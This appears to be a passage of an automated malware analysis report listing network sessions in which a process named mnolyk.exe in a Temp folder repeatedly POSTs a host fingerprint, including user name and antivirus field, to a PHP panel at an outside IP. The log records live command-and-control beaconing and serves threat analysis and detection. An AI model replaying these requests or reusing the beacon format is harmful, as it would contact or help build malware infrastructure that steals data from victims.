Feb 8, 2023 21:32:08.107630968 CET	388	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:08.173487902 CET	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.3	49890	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:08.343446970 CET	389	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:08.408909082 CET	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.3	49891	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:08.577608109 CET	390	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:08.642038107 CET	390	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49720	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:17.276374102 CET	220	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:17.340347052 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.3	49892	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:08.821841002 CET	391	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:08.885063887 CET	391	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.3	49893	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:09.064081907 CET	392	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:09.130045891 CET	392	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.3	49894	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:09.316596985 CET	393	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:09.380016088 CET	393	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.3	49895	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:09.563401937 CET	394	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:09.627557039 CET	394	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.3	49896	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:09.795234919 CET	395	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:09.859213114 CET	395	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.3	49897	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:10.032773018 CET	396	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:10.098812103 CET	396	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.3	49898	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:10.281507015 CET	397	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:10.345503092 CET	397	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.3	49899	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:10.520937920 CET	398	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:10.584842920 CET	398	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.3	49900	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:10.776958942 CET	399	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:10.842241049 CET	399	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.3	49901	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:11.021220922 CET	400	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:11.086133003 CET	400	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49703	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:09.854969025 CET	134	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:09.918930054 CET	149	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49721	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:17.546134949 CET	221	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:17.612584114 CET	221	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.3	49902	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:11.276709080 CET	401	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:11.341573000 CET	401	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.3	49903	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:11.766469002 CET	402	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:11.832688093 CET	402	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.3	49904	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:12.046729088 CET	403	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:12.111684084 CET	403	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.3	49905	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:12.384320021 CET	404	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:12.449224949 CET	404	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.3	49906	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:12.698779106 CET	405	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:12.762974024 CET	405	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.3	49907	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:13.917743921 CET	406	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:13.983855963 CET	406	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.3	49908	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
